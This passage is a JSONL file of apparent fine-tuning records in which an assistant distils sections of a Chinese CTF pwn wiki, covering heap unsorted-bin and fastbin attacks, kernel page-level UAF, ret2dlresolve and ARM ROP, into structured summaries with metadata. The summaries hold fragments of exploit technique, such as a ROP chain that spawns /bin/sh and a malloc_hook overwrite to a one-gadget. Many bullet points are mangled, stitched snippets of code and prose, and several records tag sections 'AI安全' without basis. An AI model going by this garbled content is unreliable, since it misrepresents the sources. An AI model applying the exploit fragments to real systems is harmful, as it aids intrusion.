stack\\n\");\n\n关键术语：\n- 堆\n- 栈\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n- code:c\n- code:shell\n\n代码/命令片段线索：\n- C: 5 行，首行 `/* remove from unsorted list */`\n- c: 40 行，首行 `#include `\n- shell: 13 行，首行 `➜ unsorted_bin_attack git:(master) ✗ gcc unsorted_bin_attack.c -o unsorted_bin_attack`\n- c: 23 行，首行 `while ((victim = unsorted_chunks(av)->bk) != unsorted_chunks(av)) {`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 5149, "chunk_count": 2, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "Unsorted Bin Attack 原理", "heading_path": ["Unsorted Bin Attack", "Unsorted Bin Attack 原理"], "original_id": "docs-a3d8ec52328168f521e7", "original_line": 1102, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md", "source_root": "docs", "source_sha256": "c2ba53ae053f8100dfd6c9f4174e9fdafca0b7e6ad07e6279865c89a5f082052", "split": "train", "split_group_key": "0d16b557ddce221af6f6a44a", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "栈", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "heap", "code:c", "code:shell"], "title": "Unsorted Bin Attack"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-de72baea22546ca36ee6", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md` 中的章节「Final Exploitation」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md`\n标题：Page-level UAF\n章节：Page-level UAF > 例题：D^3CTF2023 - d3kcache > 漏洞利用 > Final Exploitation\n路径分类：pwn / pwn/linux/kernel-mode\n分块：5/8\n\n核心知识点：\n- 本节主题围绕“Final Exploitation”展开。\n- } / VII - FINAL exploit stage with arbitrary read & write / size_t tsk_buf, current_task_page, current_task, parent_task, buf[0x1000];\n- If the func ptr is not there, just vmemmap_base -= 256MB and do it again.\n- /* For a machine with MEM less than 256M, we can simply get the: page_offset_base = heap_leak & 0xfffffffff0000000;\n- Note that the offset of different filed should be referred to your env. / for (int i = 0;\n- void) { / init the initial val for 2nd,3rd and 4th pipe, for recovering only / memcpy(&evil_2nd_buf, &info_pipe_buf, sizeof(evil_2nd_buf));\n\n关键术语：\n- UAF\n- 堆\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 4986, "chunk_count": 8, "chunk_index": 4, "ctf_score": 30, "ctf_task_type": "pwn", "heading": "Final Exploitation", "heading_path": ["Page-level UAF", "例题：D^3CTF2023 - d3kcache", "漏洞利用", "Final Exploitation"], "original_id": "docs-f12df89a06807d09cfc8", "original_line": 754, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md", "source_root": "docs", "source_sha256": "9556b48cfce4fb3e87c0e04e6cd2793e0719241e2bc305a1f292d6b02d17d186", "split": "train", "split_group_key": "c862ed64bfb2abce0964049c", "subcategory": "pwn/linux/kernel-mode", "terms": ["UAF", "堆", "AI安全", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "Page-level UAF"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-df09c7c451d1702e1bad", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「fake write args, write(1, base_stage+80, sh)」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`\n标题：ret2dlresolve\n章节：fake write args, write(1, base_stage+80, sh)\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“fake write args, write(1, base_stage+80, sh)”展开。\n- rop.raw(1) rop.raw(base_stage + 80) sh = \"/bin/sh\" rop.raw(len(sh)) rop.raw('a' (80 - len(rop.chain()))) rop.raw(sh) rop.raw('a' (100 - len(rop.chain()))) r.sendline(rop.chain()) r.interactive() `` 效果如下，仍然输出了 sh 对应的字符串。\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n代码/命令片段线索：\n- plain: 1 行，首行 `效果如下，仍然输出了 sh 对应的字符串。`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 696, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "fake write args, write(1, base_stage+80, sh)", "heading_path": ["fake write args, write(1, base_stage+80, sh)"], "original_id": "docs-012e2a35337861566004", "original_line": 1314, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "source_root": "docs", "source_sha256": "2e19134d3375fa37fb3e560ae4b2109f6d74f32723e63394ef57aadfc89c451a", "split": "train", "split_group_key": "75ed53f08b0483f083eb4295", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "pwn", "linux", "user-mode", "stackoverflow"], "title": "ret2dlresolve"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-df17c3a6131902e8bbf4", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/environment/build-kernel.md` 中的章节「参考」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/environment/build-kernel.md`\n标题：内核源码下载与编译\n章节：内核源码下载与编译 > 参考\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“参考”展开。\n- - https://en.wikipedia.org/wiki/Linux_kernel_version_history - https://www.kernel.org/category/releases.html - https://www.kernel.org/signature.html - http://www.linfo.org/vmlinuz.html - https://arttnba3.cn/2021/02/21/OS-0X01-LINUX-KERNEL-PART-II/ - https:/...\n\n关键术语：\n- 栈\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- environment\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 470, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "参考", "heading_path": ["内核源码下载与编译", "参考"], "original_id": "docs-310202c7e22f3e8dda43", "original_line": 36, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/environment/build-kernel.md", "source_root": "docs", "source_sha256": "1bbcde79aa748d30013efb917e145242ce3c67e4eca3b23d9c0bd9708af4af0f", "split": "train", "split_group_key": "1dbd59d56a41e548e6e21488", "subcategory": "pwn/linux/kernel-mode", "terms": ["栈", "漏洞利用", "pwn", "linux", "kernel-mode", "environment"], "title": "内核源码下载与编译"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/environment/build-kernel.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-df2a56b089bde3d8cacc", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md` 中的章节「exact fit」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md`\n标题：申请内存块\n章节：申请内存块 > _int_malloc > 大循环-遍历 unsorted bin > unsorted bin 遍历 > exact fit\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“exact fit”展开。\n- = &main_arena) set_non_main_arena(victim);\n- ``c / Take now instead of binning if exact fit / if (size == nb) { set_inuse_bit_at_offset(victim, size);\n- 如果从 unsorted bin 中取出来的 chunk 大小正好合适，就直接使用。\n- check_malloced_chunk(av, victim, nb);\n- void *p = chunk2mem(victim);\n\n关键术语：\n- 堆\n- AI安全\n- pwn\n- linux\n- user-mode\n- heap\n- code:c\n\n代码/命令片段线索：\n- c: 9 行，首行 `/* Take now instead of binning if exact fit */`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 349, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "exact fit", "heading_path": ["申请内存块", "_int_malloc", "大循环-遍历 unsorted bin", "unsorted bin 遍历", "exact fit"], "original_id": "docs-1b022247b934564606aa", "original_line": 1149, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md", "source_root": "docs", "source_sha256": "d57c9fb6e3dadf6dcdef23e595c99d5566d1a5c69e96baacfe77e614ff9962bf", "split": "train", "split_group_key": "7a4b36473620100ff6f46980", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "AI安全", "pwn", "linux", "user-mode", "heap", "code:c"], "title": "申请内存块"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-df86d4c5c9cba8ef6eee", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md` 中的章节「分配chunk到malloc_hook附近」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md`\n标题：Fastbin Attack\n章节：Fastbin Attack > 2017 0ctf babyheap > 利用思路 > 分配chunk到malloc_hook附近\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“分配chunk到malloc_hook附近”展开。\n- 这里我们再次申请的时候，对应 fastbin 链表中没有相应大小chunk，所以根据堆分配器规则，它会依次处理unsorted bin中的chunk，将其放入到对应的bin中，之后会再次尝试分配 chunk，因为之前释放的 chunk 比当前申请的 chunk 大，所以可以从其前面分割出来一块。\n- 所以 idx2 仍然指向该位置，那么我们可以使用类似的办法先释放申请到的chunk，然后再次修改 fd 指针为 fake chunk 即可。\n- 由于 malloc hook 附近的 chunk 大小为 0x7f，所以数据区域为0x60。\n- 此后我们修改 malloc_hook 处的指针即可得到触发 onegadget。\n\n关键术语：\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 315, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "分配chunk到malloc_hook附近", "heading_path": ["Fastbin Attack", "2017 0ctf babyheap", "利用思路", "分配chunk到malloc_hook附近"], "original_id": "docs-f5d0a66ada09654c0e8d", "original_line": 938, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md", "source_root": "docs", "source_sha256": "64df048b597ef6437905e6df1f5ef5b90fc06f950d7e5cb40681b923ec3ce15a", "split": "train", "split_group_key": "9b6f9a1fd5216be948b4e885", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "漏洞利用", "pwn", "linux", "user-mode", "heap"], "title": "Fastbin Attack"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-dfcaade655ebddfb6161", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md` 中的章节「Unsorted Bin Attack 原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md`\n标题：Unsorted Bin Attack\n章节：Unsorted Bin Attack > Unsorted Bin Attack 原理\n路径分类：pwn / pwn/linux/user-mode\n分块：2/2\n\n核心知识点：\n- 本节主题围绕“Unsorted Bin Attack 原理”展开。\n- During this time, target should has already been rewrite: 0x7ffe0d232518: 0x7f1c705ffb78 `` 这里我们可以看到 unsorted bin attack 确实可以修改任意地址的值，但是所修改成的值却不受我们控制，唯一可以知道的是，这个值比较大。\n- 我们可以修改 heap 中的 global_max_fast 来使得更大的 chunk 可以被视为 fast bin，这样我们就可以去执行一些 fast bin attack了。\n- ``shell We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer point to 0x7f1c705ffb78 Now emulating a vulnerability that can overwrite the victim->bk pointer And we write it with the target address-16 (in 32-bits machin...\n- 可以看出，在将 unsorted bin 的最后一个 chunk 拿出来的过程中，victim 的 fd 并没有发挥作用，所以即使我们修改了其为一个不合法的值也没有关系。\n- 然而，需要注意的是，unsorted bin 链表可能就此破坏，在插入 chunk 时，可能会出现问题。\n\n关键术语：\n- 堆\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n- code:shell\n\n代码/命令片段线索：\n- shell: 5 行，首行 `We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer point to 0x7f1c705ffb78`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1014, "chunk_count": 2, "chunk_index": 1, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "Unsorted Bin Attack 原理", "heading_path": ["Unsorted Bin Attack", "Unsorted Bin Attack 原理"], "original_id": "docs-7c8623b1c4e471e08231", "original_line": 1103, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md", "source_root": "docs", "source_sha256": "c2ba53ae053f8100dfd6c9f4174e9fdafca0b7e6ad07e6279865c89a5f082052", "split": "train", "split_group_key": "0d16b557ddce221af6f6a44a", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "heap", "code:shell"], "title": "Unsorted Bin Attack"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-dfed324773807a68e8b3", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/virtualization/qemu/environment/build-qemu-dev.md` 中的章节「IV、类的创建与释放」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/virtualization/qemu/environment/build-qemu-dev.md`\n标题：编写 QEMU 模拟设备\n章节：编写 QEMU 模拟设备 > QEMU Object Model > IV、类的创建与释放\n路径分类：pwn / pwn/virtualization/qemu\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“IV、类的创建与释放”展开。\n- 类似于在 C++ 当中使用 new 与 delete 来创建与释放一个类实例，在 QOM 中我们应当使用 object_new() 与 object_delete() 来创建与销毁一个 QOM 类实例，本质上就是 分配/释放类空间 + 显示调用构造/析构函数 QOM 判断创建类实例的类型是通过类的名字，即 TypeInfo->name，当创建类实例时 Qemu 会遍历所有的 TypeInfo 并寻找名字匹配的那个，从而调用到对应的构造函数，并将其基类 Object->class 指向对应的 class 下面是...\n- // delete a QOM object object_delete(a3obj);\n\n关键术语：\n- pwn\n- virtualization\n- qemu\n- environment\n- code:c\n\n代码/命令片段线索：\n- c: 4 行，首行 `// create a QOM object`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 397, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "IV、类的创建与释放", "heading_path": ["编写 QEMU 模拟设备", "QEMU Object Model", "IV、类的创建与释放"], "original_id": "docs-b43a173e4719551297fa", "original_line": 1433, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/qemu/environment/build-qemu-dev.md", "source_root": "docs", "source_sha256": "2dd89f4d0e692cd2b5368ed9171ed8032c6dec86399f5d12280fb17b811fa39c", "split": "train", "split_group_key": "9564bf6e5c8e7fc485671042", "subcategory": "pwn/virtualization/qemu", "terms": ["pwn", "virtualization", "qemu", "environment", "code:c"], "title": "编写 QEMU 模拟设备"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/qemu/environment/build-qemu-dev.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-dfed470d54efc5a93a41", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/heap/slub/freelist.md` 中的章节「题目分析」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/heap/slub/freelist.md`\n标题：freelist 劫持\n章节：freelist 劫持 > 例题：RWCTF2022高校赛 - Digging into kernel 1 & 2 > 题目分析\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“题目分析”展开。\n- } ` 定义了一个常规的菜单堆，给了分配、编辑、读取 object 的功能，这里的 buf 是一个全局指针，我们可以注意到 ioctl 中所有的操作都没有上锁。\n- ` 漏洞点主要在关闭设备文件时会释放掉 buf，但是没有将 buf 指针置 NULL，只要我们同时打开多个设备文件便能完成 UAF。\n- SMT Host state unknown Mitigation: PTI Vulnerable Mitigation: usercopy/swapgs barriers and __user pointer sanitization Mitigation: Full generic retpoline, STIBP: disabled, RSB filling Not affected ` 题目给出了一个 xkmod.ko 文件，按照惯例这应当就是有漏洞的 LKM，拖入 IDA 进行分析。\n- 查看 /sys/devices/system/cpu/vulnerabilities/，发现开启了 KPTI： `shell /home $ cat /sys/devices/system/cpu/vulnerabilities/ Processor vulnerable Mitigation: PTE Inversion Vulnerable: Clear CPU buffers attempted, no microcode;\n- `c int __cdecl xkmod_init() { kmem_cache v0;\n\n关键术语：\n- UAF\n- 堆\n- 修复/缓解\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n- code:bash\n- code:shell\n- code:c\n\n代码/命令片段线索：\n- bash: 7 行，首行 `qemu-system-x86_64 \\`\n- shell: 9 行，首行 `/home $ cat /sys/devices/system/cpu/vulnerabilities/*`\n- c: 10 行，首行 `int __cdecl xkmod_init()`\n- c: 35 行，首行 `void __fastcall xkmod_ioctl(__int64 a1, int a2, __int64 a3)`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 2233, "chunk_count": 1, "chunk_index": 0, "ctf_score": 32, "ctf_task_type": "pwn", "heading": "题目分析", "heading_path": ["freelist 劫持", "例题：RWCTF2022高校赛 - Digging into kernel 1 & 2", "题目分析"], "original_id": "docs-b604d805d683b6c36b22", "original_line": 756, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/slub/freelist.md", "source_root": "docs", "source_sha256": "02896b554073a50b7d6d905e5443637655518f6daf2fa5641454b79f4a5f76a3", "split": "train", "split_group_key": "d75c390ca8c5272fa3b413eb", "subcategory": "pwn/linux/kernel-mode", "terms": ["UAF", "堆", "修复/缓解", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation", "code:bash", "code:shell", "code:c"], "title": "freelist 劫持"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/slub/freelist.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-e0980dfd3614061cc26b", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md` 中的章节「功能概述」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md`\n标题：Unlink\n章节：get shell > note3 > 功能概述\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“功能概述”展开。\n- } ` 所有的笔记malloc出来的指针存放在bss上全局数组bss_ptr中，这个数组最多可以存放8个heap_ptr。\n- heap_ptr = malloc(size);\n- my_read(heap_ptr, size, '\\n');\n- 而且heap_ptr对应的size也被放在bss_ptr数组中。\n- ` .bss: current_ptr note0_ptr note1_ptr note2_ptr note3_ptr note4_ptr note5_ptr note6_ptr note7_ptr note0_size note1_size note2_size note3_size note4_size note5_size note6_size note7_size `` Show功能是无用的功能，edit和delete可以编辑和释放note。\n\n关键术语：\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n\n代码/命令片段线索：\n- plain: 16 行，首行 `int new()`\n- plain: 18 行，首行 `.bss:`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 826, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "功能概述", "heading_path": ["get shell", "note3", "功能概述"], "original_id": "docs-a6086b6ee4a38bccda4b", "original_line": 1092, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unlink.md", "source_root": "docs", "source_sha256": "c6a924469168a8cbe0822d2807b6d6c4037af2ee0bd17384b59dcb6fdb0c90ee", "split": "train", "split_group_key": "68aeec68f31dea9fc07af69b", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "pwn", "linux", "user-mode", "heap"], "title": "Unlink"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unlink.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-e0c773859a065d0f2a81", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/arm/rop.md` 中的章节「静态分析」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/arm/rop.md`\n标题：Arm ROP\n章节：for i in range(100, 150)[::-1]: > 2018 上海市大学生网络安全大赛 - baby_arm > 静态分析\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“静态分析”展开。\n- } ` 程序的主干读取了 512 个字符到一个全局变量上，而在 sub_4007F0() 中，又读取了 512 个字节到栈上，需要注意的是这里直接从 frame pointer + 0x10` 开始读取，因此即使开了 canary 保护也无所谓。\n- // [xsp+10h] [xbp+10h] read(0LL, &v0, 512LL);\n- write(1LL, \"Name:\", 5LL);\n- read(0LL, input, 512LL);\n- } void sub_4007F0() { __int64 v0;\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- pwn\n- linux\n- user-mode\n- stackoverflow\n- code:bash\n- code:c\n\n代码/命令片段线索：\n- bash: 10 行，首行 `Shanghai2018_baby_arm [master] check ./pwn`\n- C: 13 行，首行 `__int64 main_logic()`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 833, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "静态分析", "heading_path": ["for i in range(100, 150)[::-1]:", "2018 上海市大学生网络安全大赛 - baby_arm", "静态分析"], "original_id": "docs-2f8d9507111bcf7f0008", "original_line": 1235, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/arm/rop.md", "source_root": "docs", "source_sha256": "088cfa4d64c56e227fcc369cb08e6f09f032eed8a0871712fd40a0da93312718", "split": "train", "split_group_key": "be0059ee640f23635d206293", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "pwn", "linux", "user-mode", "stackoverflow", "code:bash", "code:c"], "title": "Arm ROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/arm/rop.md", "split": "train", "type": "ctf_lora_sft"}
